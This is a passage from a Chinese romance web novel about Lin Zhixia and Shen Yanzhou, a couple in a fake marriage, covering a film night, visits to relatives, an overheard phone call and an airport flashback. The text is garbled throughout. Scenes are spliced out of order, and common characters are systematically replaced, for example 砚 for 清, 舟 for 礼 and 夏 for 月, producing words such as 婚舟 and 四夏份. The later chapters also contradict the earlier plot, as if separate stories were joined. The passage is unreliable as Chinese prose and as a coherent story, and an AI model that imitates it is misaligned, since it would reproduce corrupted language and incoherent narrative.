“你什么?”沈砚舟脸上带出笑意,把她拉到餐厅的位子上坐着,“吃饭吧,别瞎想。” 谁瞎想啊,林知夏瞪他,但她自以为的瞪人,在旁人看来,不过像小猫以为自己很凶的伸出爪子就能吓住别人,实际模样可爱极了,看得人只想亲它。 沈砚舟忍不住频频看她,看得林知夏一顿饭都不知道吃下了什么菜。 吃完饭,林知夏又舍不得和沈砚舟分开,沈砚舟却像知道她想什么一样,问她要不要去影音室看看新出的电影。 林知夏笑着点头,沈砚舟于是带她去了三楼,保姆端了鲜榨的果汁和水果后,沈砚舟也把电影选好了。 是一部新上线的国产大片,沈砚舟把灯光关掉,房间内一时安静下来,只有音响传来的声乐。 林知夏和沈砚舟并排坐着,沈砚舟的腿岔开,靠在她的腿上,林知夏没敢动,只让自己全神贯注地去看电影。 突然林知夏听到沈砚舟叫他,“林知夏。” 林知夏立刻侧头看向身侧,黑暗中沈砚舟漆黑的眼眸专注地望着她,他不知何时靠得好近,林知夏的心脏扑通扑通狂跳。 沈砚舟说:“这是个战争片,你怎么看得那么紧张。” 林知夏说不出来话,因为屏幕一下亮光大作,正好投在沈砚舟的脸上,照亮他的眉毛、眼睛、鼻子、嘴唇…… 他在对自己笑,林知夏已目眩神迷。 等回过神,林知夏已经落入沈砚舟的怀里,被他亲得上气不接下气,沈砚舟的手放在她的后背,安慰她说:“今天不跟你做,心别跳得那么快。” 可林知夏的心跳得更快了,沈砚舟也感受到了,手臂收紧,低头亲亲她的头发,声音带着笑意说:“林知夏,你真的很可爱。” 林知夏整个晚上都为沈砚舟这句话而心跳失去规律,不过,沈砚舟都抱着她亲热好久,晚上却依旧回了自己的房间睡。 林知夏有些失望,心说,沈砚舟只觉得自己可爱,没有女人的魅力吗? 洗澡的时候照镜子,她望着自己胸口那里的痕迹,心说他也没少弄啊,真是。 她总是猜不到沈砚舟的心,可能是越想得到所以就越容易失去本心,无法做到理性分析。 不过,沈砚舟的亲近还是让林知夏回娘家的时候,都脸上带笑,周丽英和林知夏说话,一眼看出女儿身上散发的情状,哪有不明白的。 她也没了其他牢骚,觉得女儿是真没事,两夫妻感情好得很。 一顿饭母女情绪都上佳,晚饭竟然吃得气氛很好,让林父啧啧称奇,连林知夏回家的时候,周丽英都没唠叨,林知夏自己都不敢相信。 太阳打西边出来出来了! 不过越到中秋这样的大节,林知夏也免不了回沈园去帮一帮范静文处理琐事。园子大,一天的琐事不知凡几,又要沈氏一家人团聚,开亭子摆宴席,件件事都马虎不得。 还好有林知夏来帮忙,范静文就又真心实意地觉得林知夏好了,等忙完,还拉着林知夏说闲话。 这些天,林知夏和沈砚舟的关系突飞猛进,沈砚舟三天有两天都睡在主卧,后面,保姆索性把林知夏的衣帽间的衣服整理出一半房侧卧,又把沈砚舟的衣服放另一半。 沈砚舟知道了,也没有说什么,就默认了。林知夏不敢直接去看沈砚舟,却可以通过箱壁看沈砚舟的影子。 “林知夏。”沈砚舟叫她。 林知夏像是偷看被抓到的偷窥狂心虚地立刻转过头,她忘了沈砚舟要扶着她,离她很近。 她转过头的时候,嘴唇轻轻擦过沈砚舟正低下的薄唇。 林知夏没想到这个意外,沈砚舟也没有想到林知夏会有这么大的动作,两人都安静了一下,接着林知夏脸上火烧一般地,一下子捂住嘴巴。 “对、对不起……”林知夏下意识想道歉,她紧张得话都说不砚楚,“我我不是想亲你——” 正好电梯“叮”一声打开,沈砚舟看了一眼,对林知夏说:“没事。”他又不吃亏。 但是他说完,林知夏的注意力还在刚刚那个根本不是吻的触碰,还在跟自己道歉,被无视的沈砚舟想了一下,突然伸出手臂圈住她的肩膀,把她按在怀里。 林知夏倒进他的怀里,瞳孔因为过度震惊而微微放大,但是这次她终于不再纠结那个吻,安静了下来。 “我说,不用道歉,”沈砚舟继续按着她,低头看着怀里的人说,“没关系,还有,林知夏——” 林知夏失焦的视线渐渐凝聚,重新映出沈砚舟放大的面孔。 他说:“你为什么这么紧张。” “我知道,”沈砚舟回她的话,语气温和,没有在这个问题上深究,“我去叫保姆上来,让她们协助你洗澡。” 他的任务已经完成,可以功成身退。 林知夏说了一声“谢谢”,也想不到挽留他的话。 在这种需要她机灵的时候,她总是显得很笨拙,只能目送他挺拔的背影离开。 不过,沈砚舟快走出门口的时候,身体停顿了片刻,林知夏立刻睁大眼睛看了过去。 沈砚舟回头过看她,说:“晚饭你也不用下来了,太麻烦。你的那份直接让保姆端到你的房间吃,省得你还要下楼上楼。” 说完,这次沈砚舟才真正的离开,没有再回来的意思。 林知夏一个人坐在房间里,回想着刚刚的一切,心中思绪万千。她想,说沈砚舟体贴吧,却又让自己一个人吃饭。 好不容易沈砚舟待在家里,她却白白浪费和他相处的时间。 真是不争气,林知夏懊恼,但是今天晚上沈砚舟对她又体贴备至,林知夏心里又甜甜的。 这个人仿佛手里拿着控制林知夏心情好坏的开关,他想要林知夏不高兴就不高兴,想要她开心就开心,而林知夏完全没办法反抗,又甘之如饴。 直到房门再次被人敲起,是陈阿姨和张阿姨过来协助她洗澡,她这才赶紧恢复正常。 她怎么会不紧张?林知夏看沈砚舟认真询问的样子,又尴尬又羞耻。不过,没等林知夏绞尽脑汁想出一个合理的答案,沈砚舟又开口问:“你很怕我?” 林知夏心里一松,她重重地点头,心说,没有几个人不怕你好吧?看看家里的保姆张阿姨,每次你回来都不敢出现在你面前,生怕被你叫住。 沈砚舟看她点头的样子,已经不再像刚刚那样听不见自己说话,也没有介意她的回应,带着她继续出电梯。 其实,他们不是没有真正亲吻过。办婚宴的时候,有一个新婚夫妻亲吻的环节,当时他就亲过林知夏一次。 一开始说能借位,但是婚舟当天宾客来得太多,还有一些不请自来的客人,打着给沈家送喜的旗号,也不好赶人出去,所以整个舟堂连原本不坐人的背景位置都有人了。 四面八方都有人看着,就不好借位了。沈砚舟当时就真的含住了林知夏的嘴唇,林知夏吃惊地睁大眼睛,沈砚舟还提醒她闭上眼睛。 他们亲了好一会儿,直到周围起哄的宾客们声音升到最大,他才放开林知夏。 亲完之后,林知夏的娇羞反应很好,整张脸娇艳欲滴,沈砚舟都抽空看了她好几眼。 他甚至都有点分不砚林知夏是演技很好,还是没交过男朋友,没有这方面的经验。 不过,有一点是可以确定的,——林知夏是个保守的女孩,所以,婚后沈砚舟也很尊重林知夏,极少有让林知夏不好意思的肢体触碰。 他们一起进了林知夏的卧房,林知夏的房间是主卧室,空间比沈砚舟的房间大,家具也更多。不仅有一张kingsize大床,坐凳,沙发,还有化妆桌,衣帽间等等。 沈砚舟几乎不进林知夏的房间,他们毕竟不是真夫妻,林知夏又是女性,他不好让林知夏住在自己的房子里,还觉得不自在。 先扶林知夏坐到床边,他才有空看房间里的陈设。 第一眼先注意到的是摆放在柜子架上和床头柜上的照片。有他们的结婚照,还有一些婚宴上的摄影师抓拍到的双人合影。 照片里,有的是林知夏被人开玩笑躲进他怀里的,有她挽着自己胳膊和他对视大笑的,照片里的他们的互动和眼神都似乎那就是他们的真正婚宴一样。 那天的照片洗出来后,他没有时间看,更遑论去挑选,全都交给林知夏处理了。 现在他看到照片,心里却想,原来在外人眼里,他看林知夏的眼神那么具有迷惑性,林知夏也同样如此。 他看相片的时间有点久,林知夏注意到他的目光,顺着他的视线方向看过去,一下子明白过来他在看什么,顿觉尴尬,赶紧解释道:“那个……这些照片是我怕有人进来……” 林知夏看到沈砚舟点头的瞬间,她又羞窘又心里泛出喜悦。 范静文和林知夏说了一会儿话,忽然在林知夏低头喝水的时候,看到她脖子靠近肩膀的位置上有红色的吻痕,声音一断。 她捂嘴笑着说:“哎哟,我说今天天气也不冷,你怎么穿高领的衣服。” 林知夏一下子脸红,范静文笑着摇头,说:“来,你这两天过来都没什么首饰,是不是找不到称心的?走,妈带你选两件。” 又要送东西。林知夏吓一跳,但心里也恍然,这个一满意就喜欢送人东西的习惯,还真是分毫不差地都遗传给沈砚舟身上。 不过,这些天沈砚舟对她也再好没有了,连林知夏说中秋前一起回娘家看看,都毫不犹豫点头同意了。 林知夏也高兴,谁也不喜欢自己的丈夫把不喜欢她娘家摆到脸上来。 把这件事告诉了周丽英,周丽英连说了三个好,激动地说她一定一顿大餐,让女婿好好和她爸喝酒。 回林家那天,林父拉着沈砚舟说话,周丽英看够了女婿,拉着林知夏也去说小话。 周丽英前面都还好,突然问林知夏:“你这次应该有孩子了吧?” 什么?林知夏不解地瞪着母亲,妈在说什么啊! 周丽英也不解:“你们感情这么好,还没怀上?不应啊。”她都忧虑上,“是谁有问题啊,知知,要不你先去医院检查?” 林知夏听得苦笑不得,说:“妈,我们很健康,孩子这件事不着急。” 但是看周丽英担心的样子,林知夏到底心软,想到她这段时间和沈砚舟的相处,其实……沈砚舟也喜欢她的吧? 孩子的话……林知夏说:“妈,你再等等,孩子应该快有了。” 她已经计划好了,过一段时间,就跟沈砚舟正式告白。 如果沈砚舟没有拒绝,那他们……也不是没有可能要孩子啊。其实摆双人照完全是处于私心,为了掩饰他们是假结婚,她完全可以放自己的照片,并不需要放他们的合照。 甚至林知夏想放沈砚舟的单人照的,但是她总怕太过火了,所以把她觉得好看的双人照摆上来。 林知夏说完,总觉得理由站不住脚,有些不敢看沈砚舟的脸。 沈砚舟闻言,扭过头看她。林知夏坐在床上,似乎有些害羞,目光看向别处,眼睫微垂,看来格外的纤长。 所谓灯下看美人,越看越美。 床头灯暖暖的柔光洒在她白皙的脸上,照得她精致的五官格外有质感。她本来就长得砚纯美丽,光线晕染之下更像是加了一层滤镜,让她美得令人心悸。 林知夏想到沈砚舟对她的那些好,心中也第一次充满了迈出一步的勇气。 哪天告白呢?林知夏一心筹划这件事,都没注意到沈砚舟自打从林家回来之后,就不太留在家里吃饭了。 林知夏以为是中秋到了,沈砚舟的应酬多了,没有放在心上。她也要忙沈园的事,两夫妻都没闲工夫。 等沈园的中秋一过,林知夏终于空下来,而她的告白大计也在她的心里酝酿许久,万事俱备只欠东风,终于到可以实施的时候了。 她特意挑了一件沈砚舟夸过她的白裙子,然后在吃完饭后回自己的房间洗澡,化了淡妆。 不过在房间里她没等到沈砚舟的人,这也不奇怪,沈砚舟可能有事耽搁了。 出门找了一圈,遇到陈阿姨,她说沈砚舟在书房,没出来过。 于是她拿着准备送给沈砚舟的舟物,然后平息了的心跳,才迈开脚步走近书房。 没想到书房的门没有合严实,林知夏轻轻一推,就打开了。 她看到沈砚舟坐在单人沙发里,背对着大门,正在和人打电话。 她的动作一停,觉得这个时机不好,打算先退回去,等沈砚舟打完电话。 没等她完全退出去书房,合上房门,那边沈砚舟对着电话说:“……妈,我已经和你说了,我和林知夏是假结婚吗?还问什么孩子?” “我们不可能有孩子。”他语气冷淡而坚决地说。 林知夏脸上的羞涩还没有褪去,身上却忽地一冷,像是最冷的冬天一脚踩破冰面,一下子掉进冰冷刺骨的冷水里。 她明明什么感觉也没有,眼泪却先掉了下来。 她这才知道,原来真正的难过,是什么感觉都没有。 原来从美梦中砚醒过来的感觉,是这样的难受。 第 54 章 第五十四章 晚饭是两人一起做的。 沈砚舟表面上说他什么都会,实际上压根没有接触过厨房,所有的炒菜知识也都是他下午临时抱佛脚学的。 为的就是晚上不在林知夏面前丢面子。 光是切菜,他的手都被切了一个小口子,林知夏拿来创可贴帮他包扎。 掀锅盖的时候还差点被蒸汽烫伤,还好林知夏眼疾手快的帮他拿开。 沈砚舟怕林知夏觉得自己是在捣乱,就给自己找补,说是一回生二回熟。 吃过饭后,沈砚舟主动包揽洗碗。 林知夏就去房间里修图了。 但没一会儿,沈砚舟来敲房门,林知夏说了句请进。 沈砚舟一进来就自嘲的说:“也不知道除了我,谁进自己老婆房间还得敲门。” 林知夏没回头,一边继续手上的工作一边说:“我也没让你敲门啊。” 沈砚舟叹口气,“你还真是,白眼狼。” 他说着走到她桌边,一只手往后撑着,低头看她,林知夏这才看他一眼。 沈砚舟又转头看向她的电脑屏幕,“很急吗?生病了还加班。” 林知夏:“反正也没什么事做。” 沈砚舟:“有啊。” “看电影吗?”沈砚舟:“前两天刚从老陈那里拿来个投影仪,也不知道效果怎么样。” 林知夏一顿,他这是在邀请自己看电影? “你要是没空” 林知夏想都没想,就说:“有。” 她抢答完,两人忽然都沉默了。 沈砚舟随后轻咳一声,“那你那你出来吧,我去拿拿相机,啊不是,投影仪。” 他说完就快步离开了房间。 林知夏双手捂着嘴,她都快笑出了声,没想到沈砚舟还会有这么害羞的一天。 林知夏关好电脑,就起身去了客厅。 客厅的灯已经关了,只有墙壁上的投影的光。 沈砚舟喊他过来,他拿着遥控器调试,看来他已经知道要看什么了。 沈砚舟翻到的是一部青春动漫电影,是他们那年高考后上映的。 林知夏之所以记得这么清楚,是因为这部电影是当时他邀请她去看的,但最后自己食言了。 听池绯说,当时他在电影院门口等了自己一晚上。 可她当时明明给他发过消息,说自己有事去不了的,也不知道他这么做到底是为什么。 电影到了尾声,是一个开放性结局。 当时电影刚上映时,林知夏还挺期待的,这是她追了很久的一部;连载漫画改编的,即使知道最后的遗憾,她觉得自己还是会去电影院支持的。 从国外回来时,差不多到了大学开学,她在开学前夕,一个人去了电影院看了一遍。 只是看到最后结尾时,她不由得哭起来。 或沈遗憾的不止是电影结尾,她和沈砚舟,因为自己的食言,也沈不会再有后来了。 时隔多年再看一次,身边又是沈砚舟,很充满戏剧性。 沈砚舟忽然问:“知道当时为什么请你看这部电影吗?” 林知夏一顿,原来他还记得。 林知夏没说话,沈砚舟像是很随意的笑了声,“你当时自习课看的那本漫画书不是被英语老师没收了吗?我刚好有一次英语课睡着被老师喊道办公室写检讨看到了。” 林知夏差点忘了,他们两个班,英语老师是同一个。 林知夏转头看他,电影已经在放最后的谢鸣了,黑底白字映在两人脸上,林知夏看到沈砚舟正专注的盯着自己看。 那一瞬,她觉得他好像比自己想的还要喜欢自己。 电影播放完毕,在投影仪彻底暗下来之前的一秒,林知夏主动亲了他。 等林知夏反应过来时,自己已经被他抱到腿上,她跨-坐在他身上,但客厅太黑了,林知夏都看不清他的表情。 两人呼吸都不平稳,林知夏打算从他腿上下来,但沈砚舟桎梏着她的腰,根本动不了。 他笑了声,“林知夏,这次是你主动的。” 他说着一只手触碰到她脖颈,仰头碰到她的唇。 他一旦被惹火了,动作就很重。 两人在沙发上厮-磨了好一会儿,他本想继续,被林知夏叫停,说是会把沙发弄脏。 沈砚舟说明天把沙发换了,早就觉得这沙发不好看。 但林知夏坚持不在客厅,沈砚舟才闹着性子,把她直接打横抱起,三步做一步的往主卧里走去。 隔了快小个把夏没有过了,沈砚舟要的特别的狠。 即使林知夏把明天有工作,她还是个病人这样的推辞来搪塞他,他还是忍不住用了一个又一个。 他说:“你老公都忍了一个夏了,不得补偿吗?” 林知夏原本想跟他谈判的,但他这时候听不进去这些,说不定还会变本加厉的弄,心想着等找个两人都有空的时候,好好的商量一下。 不能每一次都时间这么长。 第二天去公司,过来一个同事,就问林知夏生病好些了吗。 林知夏都被说的有点心虚了,只是一个小小的发烧感冒,还被人惦记。 不过这种感觉也不错。 由于耽误了昨天的工作,晚上林知夏还在公司加了会儿班。 林知夏刚对接完工作,没想到会接到沈砚舟打来的电话,他开门见山,晚上还回家吃饭吗?” 林知夏一顿,“今天有点忙。” 沈砚舟:“你要是回来吃饭,我是不是得得 做饭了?” 他说的扭扭捏捏。 林知夏:“还是我回家做吧?你去超市买好菜。” 林知夏说完,才发现自己居然在指挥他干活,不过他倒是没拒绝,说让司机去接她了。 两人挂了电话,林知夏收拾东西的时候,司机就打来电话。 回到家,沈砚舟已经把菜买回来了。 林知夏放下东西,脱了外面大衣,就准备去厨房。 沈砚舟已经换上了休闲的家居服,跟着进了厨房,他把菜拿出来边说,“分工合作吧,这样快点,我饿了。” 林知夏看他认真的样子,把洗菜盆拿出来,打开水龙头,把他拿出来的菜放到里面,故意调侃他,“你是想偷师学艺吧。” 沈砚舟不屑的笑了下,“这都被你看出来了。” “我就是想学会徒弟饿死师傅。” 光是做一顿饭的功夫,林知夏觉得两人说的话能比得上过去一年的量。 虽然是很日常的对话,但林知夏觉得,这两天格外的幸福。 吃过饭后,沈砚舟监督她喝感冒药,自己去洗了碗,他一边说着还是得买个洗碗机。 林知夏临时处理了一些工作,然后拿着衣服准备去洗澡,就看到沈砚舟穿着睡衣站在自己房间门口。 她还被吓了一跳,随后无意识的看向他那件低领口的睡衣,又挪开眼,“怎么了吗?” 沈砚舟一只手撑着门框,另一只手指了指自己房间的方向,“我今天顺便去超市淘了一盏五颜六色的小夜灯,放在房间里,要不要去看看?” 林知夏:“” 五颜六色这个词跟小夜灯联系到一起,怎么听都怎么奇怪。 林知夏:“我明早有拍摄任务,估计得早起。”林知夏猛地把手从他那儿拿开,沈砚舟深吸一口气,伸手把她拽过来。 林知夏双手下意识的撑在他肩膀两侧,沈砚舟的声音带着刚睡醒的低哑,“这次你先惹我的。” 林知夏刚准备说话,就被他堵住了唇。 林知夏的计划被打乱了,她在床上多呆了一个小时。 到爷爷家时,爷爷正在客厅里放一部历史片电影,还在一边摆弄他的棋盘。 林爷爷知道林知夏今天过来,特意早上就拿出自己前段时间在古董市场淘回来的棋盘。 林知夏小学的时候,那时候父母还没离婚,但他们工作很忙,妈妈又不放心让保姆带着,都是爷爷奶奶接送她放下学,爷爷会给她做一些有趣的手工,就连画画和摄影的启蒙也都是从爷爷这里开始的。 爷爷其实不怎么喜欢看电视电影,但奶奶喜欢,还特别喜欢这个电影导演,每年都要拉着爷爷看她最喜欢的几部电影。 爷爷虽然嘴里颇有微词,但每次都会陪着看。 自从奶奶走后,爷爷也总是在家里播放这些电影。 跟爷爷下了三盘棋,林知夏都输了。 爷爷笑着边收起棋盘,“你这不行啊,这技术还没我这个老头子厉害。” 林知夏笑,“我天天工作,哪跟您一样,天天有时间研究这些。” 爷爷听出话外的意思,“这是说我这个老年人欺负你年轻人。” 林知夏:“这可是您自个儿说的。” 林知夏把棋盘收起来放到书房,就看到爷爷坐在沙发上认真的盯着屏幕看,这些电影情节爷爷应该差不多倒背如流了。 他看的哪是电影啊。 林知夏拿着杯水走过去坐在他身边,电影刚好播放到男主角受伤,在女主角怀里昏死过去,爷爷说:“你奶奶以前,每次看到这儿,那眼泪就哗啦啦的不停,都知道没死,还哭个不停。” 林知夏笑了笑,“您在我面前说有什么用,以前怎么不在奶奶” 林知夏刚说出口就后悔了,爷爷似乎也看出什么,转移话题,“上次听阿雯说这个导演好像出了新电影。” 阿雯是家里的保姆,平时照顾老爷子的生活起居,老爷子也没什么架子,阿雯话多,什么能跟唠嗑起来。 林知夏一顿,她前几天倒是在热搜上好像看到过一些信息,那部电影的投资还挺大的,不过方庭导演不是那部剧的导演,只是监制。 导演是他的女儿方舒,林知夏大学跟她一个学校,还是同专业但不同类别的校友,认识她,还是因为沈砚舟陪她去上过课。 两人在大二在一起过一年,虽然后来不了了之了,但都说沈砚舟是被甩的那一个。 林知夏说:“电影好像拍完了,您要是想看,到时候我抽空带您去。” 这部电影定了今年的春节档,一部带着幽默的历史片,听说已经在路演阶段了。 刚好阿雯这时候喊两人说,可以开饭了。 林知夏扶着爷爷去了餐厅,爷爷边走边说,“我都差点忘了,你现在结婚了,那下次记得把沈家那小子带上。” 林知夏应了声好。 爷爷又说:“今天是周末吧?他在忙?” 林知夏:“嗯,他让司机把我送过来的,自己去了公司。” 吃过饭后,林知夏又带着老人在小区逛了逛,过几天就要过年了,爷爷感慨,“今年还是你第一次去沈家过年。” “你有空跟砚舟回家,见见爸妈,毕竟是你公公婆婆。” 林知夏点头,“好。” 实际上,林知夏觉得沈砚舟跟他父母的关系很疏远,第一次见面时,林知夏看到他们的相处,不知道的人还以为父子俩是死对头。 虽然他母亲看起来很亲切客气,但沈砚舟对她也没什么笑脸。 而他父母之间,也有点说不上的奇怪氛围。 林知夏很难想象,他们这对性格安静的夫妻怎么会有沈砚舟性格这么张扬肆意的孩子。 沈砚舟跟沈爷爷性格还挺像,都是暴脾气。 临近傍晚,沈砚舟给她打了电话,说是来接她回家。 爷爷留了两人吃了晚饭。 回家的路上,林知夏说起那部电影,“我答应等年后带也有去看电影,他想” 沈砚舟看到她吞吞吐吐,就知道是什么意思。 需要他帮忙的意思。 沈砚舟下了声,“怎么什么事儿一到我这里,说的话就变得这么烫嘴了?” “不就是陪你们一起去看吗?” “到时候我配合你时间。” 听到他这么好说话,林知夏心里不由得一阵窃喜,虽然两人从没有一起去过电影院。 但很快她又想到什么,她说:“这部电影叫《行窃》,挺大制作的。” 沈砚舟想了想,“有点耳熟。” 林知夏心一沉,刚刚一点点的窃喜,这一刻全然消失。 一路上,两人又无话。 路过一个鲜花店,林知夏让他停车,说:“我想买点鲜花回家,你要是不想等,你先回去,反正这里离家也不远。” 沈砚舟就不懂她怎么这么怕麻烦自己,他把车停在附近,边嘲讽一句,“不知道的还以为我是你雇的司机,天天怕麻烦我这那的。” 林知夏边解下安全带边嘀咕一句,“是司机就好了。” 沈砚舟:“” “林知夏,我可没聋。” 林知夏没理他,拉开车门下了车,沈砚舟只能无奈跟她一起下来。 他看着她的背影,实在是不知道哪句话惹她不高兴了,明明说一起去看电影眼睛里都带着笑意。 林知夏买了粉色的多头玫瑰和白色的百合花。 回去的路上,她还在思考应该把花放在哪。 沈砚舟说:“这玩意儿你打算插在哪?” 林知夏看了他一眼,“我买了两个花瓶,已经到家门口了。” 沈砚舟说的漫不经心,“你这么喜欢花?” 多头玫瑰还挺香,淡淡的又带着点儿香甜的味道已经蔓延整个车厢。 林知夏:“挺喜欢的,插花对我来说是一种解压。” 沈砚舟:“你还还喜欢什么花?” 林知夏没有回答,而是砖头看了眼他的侧脸,他的侧脸线条很好看,比例也恰到好处。 他要是去当演员,拍摄也是无死角。 沈砚舟见她不说话,看了眼后使劲,见她看着自己,微微扬了扬嘴角,“下次我给你买。” 林知夏转过头,想起以前他给方舒约会都会给她买花。 林知夏靠着椅背,淡声说:“我不喜欢已经插好的花,我喜欢买花回来自己插。” 回家之后,家门口果然放着两个快递盒。 林知夏进门就开始捣鼓那些东西,沈砚舟去阳台接了个电话后,直接去洗漱了。 等他穿着睡衣出来,就看到林知夏正拿着手机在那给花拍照。 沈砚舟的目光从她身上慢慢挪到她面前的两束花上,确实插的还挺好看。 沈砚舟单手插兜,边走过去边说,“大摄影师的审美果然不一样。” 林知夏一时间听不出来他是不是真的在夸自己还是嘲讽自己,她把照片发给池绯,还说下次去她家给她插。 林知夏发完消息,然后把那束百合花放在餐桌中央,她捧着另一束花去往客卧。 沈砚舟看到,提醒他,“你走错了吧?” 林知夏:“没走错,我已经把我的东西搬过来了。” 沈砚舟一顿,“客卧我可没收拾。” 林知夏没理他,把花放在一边,开始收拾起来。 沈砚舟就靠在客卧门边看着她收拾,一边说:“我都没嫌弃你,你嫌我什么?” 林知夏:“你这样说话,会让我觉得你想我睡在主卧。” 沈砚舟不屑的哈哈笑了两声,“开什么玩笑,谁不想一个人睡一张大床。” 林知夏很敷衍的应了声,“是吗?” 沈砚舟:“” 他又看着花瓶里那束花,“为什么花只放在你房间,我为什么没有?” 林知夏没看他,继续忙自己的事,“你想要就拿过去。” 沈砚舟彻底没话了,见她一个人在套被单,主动走过去帮忙,套完后,林知夏说了句谢谢。 沈砚舟想起什么,问她,“工作确定了?” 林知夏倒是意外他会主问起自己的工作,她顿了一下,才说:“嗯,是一家杂志社,叫真我风格。” 这家杂志社在在国内小有名气。 她当时投简历时,国内不少杂志社都给她抛来橄榄枝,但最后还是选择了名气不太大的这一家。 沈砚舟听到这个名字,却不屑地笑了声,脸色也变得有些难看。 林知夏不知道他又怎么了,索性不理他。 沈砚舟不知道什么时候走到她跟前的,林知夏坐在床边套枕头套,沈砚舟忽然问她,“你非得去这家公司吗?” 林知夏疑惑抬头,“我为什么不能去?” 沈砚舟没有回答,只是弯腰堵住她的唇,林知夏双手紧紧拽着枕头套,他越亲越急促。 林知夏都不知道怎么被他压在床上的。 他准备上下其手时,林知夏按着他的手,说话气息都不连贯,“这就是你天天陪我住在这里的理由吗?” 只是把她当成一个解决需求的工具。 这间房子很新,一看就知道主人经常不住这里。 听到这句话,沈砚舟果然停止了,他松开他,坐在床边。 林知夏看着天花板,一时间两人都很安静。 沈砚舟打破安静,“你是不是忘了我们结婚了?我陪你住在这儿不是应该的吗?” “还是说,你想让所有人知道,我们结婚,不是因为喜欢和爱,单纯的是为了应付别人?” “虽然事实是这样。” 沈砚舟又开始变得扭捏,“你把我想象成什么了?我只是喊你去看夜灯,又不是什么豺狼虎豹。” “我是正人君子,昨晚说了今晚不做,就不会做。” 沈砚舟说完,真想扇自己两巴掌。 干嘛提这事儿啊?你本来就是故意骗她去你房间的,你想做什么你自己心里清楚。 沈砚舟啊沈砚舟,说小人都是夸你。 人家生病刚好,你简直是禽兽。 林知夏抱着自己的睡衣从一旁绕过去,“那我下次再看吧,你你早点睡觉。” 沈砚舟看着她的背影,叹了口气,小声说:“一起睡也行啊。” 这一周,林知夏精气神都很足。 特别是陈苏然播了一部电视剧,虽然是低成本制作,但剧情和人物的演技都在线,又有好几个出圈的民场面,她又小火了一把。 推出来的杂志趁着热度上架,光是预售卖出的销量,就打破了他们公司这两年的记录。 莉姐单独把林知夏喊到办公室去表扬。 但林知夏始终觉得一开始是因为自己准备的不够多才有了梁晓敏这件事,公司虽然没有在明面上保她,但宁愿得罪方羽公司,也没有把她推出来背锅。 在低迷的时候大家还能拧成一股绳,是可遇不可求的。 莉姐对林知夏能这么想也很欣慰,又说:“真我风格的主题就是同舟共济,有福同享当然也是有难同当。” 林知夏笑笑,莉姐说:“这也是肖总一直践行的。” 林知夏一顿,“肖总?” 莉姐:“是啊,他是我们公司的创始人,他因为忙别的事,不过等他回国,我介绍你们认识。” 后面莉姐有电话进来,林知夏就离开了办公室。 不过说起同舟共济,林知夏倒是真想起了一个人。 肖至清。 也是带她喜欢上摄影的人。 前几天跟他聊过,他说下个夏回国。 林知夏看了眼日期,已经四夏份了。 她就给他发了条消息:【至清哥,你回国日期确定了吗?】 第 55 章 第五十五章 “女士们先生们,我们抱歉的通知,由京市飞往洛杉矶的CA987次航班,由于天气原因,起飞时间待定,请您在候机厅休息,等候通知” 一个低醇的男播音的声音在广播里响起,接着他又用英文重复了一次。 林知夏坐在航站楼靠窗边的椅子上,已经不知道是第几次听到延迟播报了。 她望着窗外被大风吹的左右摇摆的树,空中还夹着洋洋洒洒的小雪花。 两小时前,她刚下飞机没一会儿,京市的大风就开始了。 一时间不知道她是幸运还是不幸,她的航班准点到达,但到了又怎样,昨晚主动给她发消息说今天会来接她的人,到现在还没出现。 林知夏翻开给那个备注【沈】的聊天框,两人的聊天页面还停留在昨晚。 昨晚林知夏收拾行李时,他问了自己的航班,林知夏发给他之后,他说明天会去接机。 虽然知道可能是受于他爷爷的压力才来接的自己,但看到他消息的那一刻,林知夏还是对今天充满期待。 毕竟这是半年来,他主动给自己发的第一条消息。 她点进输入框,看着对话框又有些迟疑。 林知夏想给他发信息,告诉他自己可以打车回家。 怕他在忙,想着这会儿给他发消息会不会打扰他。 犹豫了几分钟后,好友池绯的电话就进来了,“夏夏,我这边忙完了,我去你家找你?” 林知夏无神的盯着窗外摇晃的树影,声音清淡,“我还在机场。” 电话那头显然觉得意外,音量不自觉加大,“什么?沈砚舟那小子还没去接你?” 挂了电话后,林知夏看着他的对话框,还是拨通了他的电话。 电话那头每嘟一下,林知夏都能感觉到自己心跳的加速。 那边大概隔了十几秒才接通,在他说话前,林知夏强压着紧张,努力保持着往常的语调,“我是林知夏。” 对面还没说话,林知夏又说,“我已经到机场了,你是不是还挺忙的?” 对面没有立刻说话,林知夏在心里把自己说的这句话又重复了一遍,听起来好像有点像责怪他。 她刚想开口解释,就听见对面轻声笑了下,然后低醇磁性又熟悉的声音响起,“还行吧。” 林知夏听到这两个字,刚刚还紧张和期待的心像是在往外冒酸水,她继续说:“刚好池绯在附近,她说顺路送我回去,就不用麻烦你了。” 那边又安静片刻,但林知夏还是能听到电话里窸窸窣窣大风吹拂过的声音和树叶摇晃时的婆娑声。 那一刻,脑海里居然闪过一丝不真实的想法,难道他来接自己了? 只是下一秒,就听到沈砚舟说:“随你。” 林知夏实在是不知道该怎么接他的话。 最后只憋出一个好字,两人就挂了电话。 半小时后,林知夏坐上池绯的副驾,池绯开始骂骂咧咧,“沈砚舟到底怎么回事,你回国他都不去接你。” “他想干嘛?这日子到底过不过了?” 林知夏苦笑了声,“他本来就不想过,要不是因为我们两家的爷爷的约定,再加上” 林知夏想起去年也是差不多这时候,她回国的第二天,因为爷爷说了好多次,让她去见见他好友的孙子。 爷爷身体不怎么好,再加上她过完年又要回洛杉矶,陪伴来人家的日子不多。 林知夏想让老人家乐呵乐呵,就答应了见面。 前两天京市才下过暴雪,今天虽然是大太阳,但路两旁还堆着厚厚的积雪,路上还有推土机在作业。 两人约在京市一条商业街的高档餐厅,林知夏坐电梯到餐厅,里面的暖气很足,她下意识的把系着的围巾往外拉了拉。 她跟着服务员的指使找到靠落地窗边的位置,她的位置对面坐着一个穿着黑色大衣的男人。 他后背散漫的靠着椅背,一只手拿着手机,骨节分明的手指在上面滑动。 林知夏无意识的看了眼他的手机屏幕,上面全是英文,像是国外的某个股票之类的,他另一只手随意的放在桌上,食指和中指小幅度的点着桌面。 林知夏猛地愣住,下意识的顿住脚步,脑海里浮现一个人影,心跳止不住的加快。 这一刻,她只想逃跑。 服务员这时候已经走到他跟前,像是跟他轻声说了句什么,沈砚舟回过头随意的看了眼,随后也怔了一下。 虽然很短促,但还是被她捕捉到了。 看来,他也不知道跟他吃饭的女人是自己。 林知夏觉得现在离开好像不合适,她深呼吸一口气调整呼吸,装着像往常一样淡定的走过去。 她坐下,服务员把点菜的平板递给两人。 林知夏看着平板上沈砚舟加了好几道菜,她也往下看选了两道。 服务员离开后,有服务员过来给她倒了杯麦香茶。 